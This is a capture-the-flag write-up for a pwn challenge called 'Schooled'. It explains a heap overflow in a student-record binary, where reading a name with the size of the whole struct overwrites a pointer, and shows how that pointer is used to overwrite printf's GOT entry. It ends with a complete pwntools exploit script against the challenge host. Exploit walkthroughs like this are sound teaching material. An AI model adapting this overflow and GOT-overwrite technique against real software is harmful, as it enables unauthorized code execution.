Flash CTF – Schooled

This challenge presents a student management system with a subtle but exploitable vulnerability. The path to exploitation requires careful binary analysis and understanding of heap memory layout, but once the vulnerability is identified, the solution is straightforward.

Initial Reconnaissance

The binary provides a menu-driven interface for managing student records. Players can create students, remove them, modify their information, and view student details. Each student appears to have three attributes: a name, a grade level, and a GPA.

The first step is to understand the program’s behavior through dynamic analysis. Running the binary and interacting with it reveals the basic functionality. However, to find the vulnerability, static analysis is necessary.

Binary Analysis

Disassembling the binary reveals several key functions. The most interesting one is the modify student function, which allows changing a student’s name, grade level, or GPA.

When examining the modify name functionality, something unusual stands out. The function appears to read more data than expected. By tracing through the disassembly or using a debugger, it becomes clear that when modifying a student’s name, the program uses a buffer size that’s larger than the name field itself.

The student structure layout can be inferred from the binary’s behavior and memory allocations. Analysis reveals:

  • A name field (34 bytes)
  • A grade level field stored as a pointer to an integer (not a direct integer value)
  • A GPA field (float)

The fact that grade level is stored as a pointer is unusual and immediately suspicious. Why allocate a separate integer on the heap just to store a grade level? This design choice suggests the pointer might be exploitable.

Discovering the Vulnerability

Through careful analysis of the modify name function, the vulnerability becomes apparent. The function uses sizeof(struct student) as the buffer size when reading the new name, rather than the size of the name field itself.

Since the name field is only 34 bytes but the entire structure is larger (approximately 44 bytes on a 32-bit system, accounting for the name, pointer, float, and padding), this allows writing beyond the bounds of the name array. The overflow can reach into adjacent fields in the structure, specifically the gradelevel pointer that follows the name field in memory.

This is a classic heap overflow vulnerability. By crafting a payload that fills the name buffer and continues writing, an attacker can overwrite the gradelevel pointer with an arbitrary address.

Exploitation Strategy

The exploitation path leverages the overflow to achieve arbitrary write, then uses that to hijack control flow:

  1. Create a student to allocate a valid student object on the heap
  2. Modify the student’s name with a crafted payload that:
    • Fills the 34-byte name buffer
    • Overwrites the gradelevel pointer with the address of a GOT entry (printf is a good target since it’s called frequently)
  3. Modify the grade level again. Since gradelevel now points to the GOT entry, modifying it writes to that GOT entry
  4. Trigger the overwritten function. When printf is called next (which happens when the menu is displayed), execution jumps to the address written to its GOT entry

Calculating the Offset

To craft the payload correctly, the exact offset to the gradelevel pointer must be determined. The structure layout shows:

  • name[34] starts at offset 0
  • gradelevel (pointer, 4 bytes) starts at offset 34
  • gpa (float, 4 bytes) starts at offset 38

In practice, 34 bytes should be sufficient to reach the pointer, but accounting for potential alignment issues, 36 bytes provides a safer offset. This can be verified through testing or by examining the actual memory layout in a debugger.

Finding Key Addresses

Several addresses need to be identified:

  • GOT entry for printf: This can be found using objdump -R or by examining the binary’s relocation table. The address 0x804c00c is the printf GOT entry.
  • Win function address: The binary contains a win() function that reads and prints the flag. Its address can be found through disassembly or by searching for the function. The address 0x8049316 corresponds to the win function.

Building the Exploit

The payload construction is straightforward:

address_offset = 36
printf_got = 0x804c00c
win_function = 0x8049316

payload = b"A"*address_offset
payload += p32(printf_got)

This creates a payload that fills the name buffer and overwrites the gradelevel pointer with the address of printf’s GOT entry.

Complete Exploitation Flow

The full exploit follows this sequence:

  1. Create a student (option 1) with any name, grade level, and GPA
  2. Modify the student (option 3), select student 0, choose to modify the name (option 1), and send the crafted payload
  3. Modify the student again (option 3), select student 0, choose to modify the grade level (option 2), and send the address of the win function

When modifying the grade level the second time, the program performs scanf("%d", students[modify]->gradelevel). Since gradelevel has been overwritten to point to the GOT entry, this writes the win function address directly into printf’s GOT entry.

The next time printf is called (which happens immediately when the menu is displayed), execution jumps to the win function instead, and the flag is printed.

The Complete Exploit

from pwn import *

address_offset = 36
printf_got = 0x804c00c
win_function = 0x8049316

payload = b"A"*address_offset
payload += p32(printf_got)

target = remote("host5.metaproblems.com", 5035)

# Create a student
target.sendline(b"1")
target.recvuntil(b"name?")
target.sendline(b"Your about to get pwned :D")
target.recvuntil(b"level?")
target.sendline(b"12")
target.recvuntil(b"GPA?")
target.sendline(b"4.0")

# Modify the name to overflow and overwrite gradelevel pointer
target.recvuntil(b"> ")
target.sendline(b"3")
target.recvuntil(b"modify?")
target.sendline(b"0")
target.recvuntil(b"> ")
target.sendline(b"1")
target.recvuntil(b": ")
target.sendline(payload)

# Modify grade level - this now writes to printf's GOT entry
target.recvuntil(b"> ")
target.sendline(b"3")
target.recvuntil(b"modify?")
target.sendline(b"0")
target.recvuntil(b"> ")
target.sendline(b"2")
target.recvuntil(b": ")
target.sendline(str(win_function).encode())

# The next printf call will jump to win()
flag = target.recvuntil(b"}").split(b'\n')[1]
print(flag)
target.close()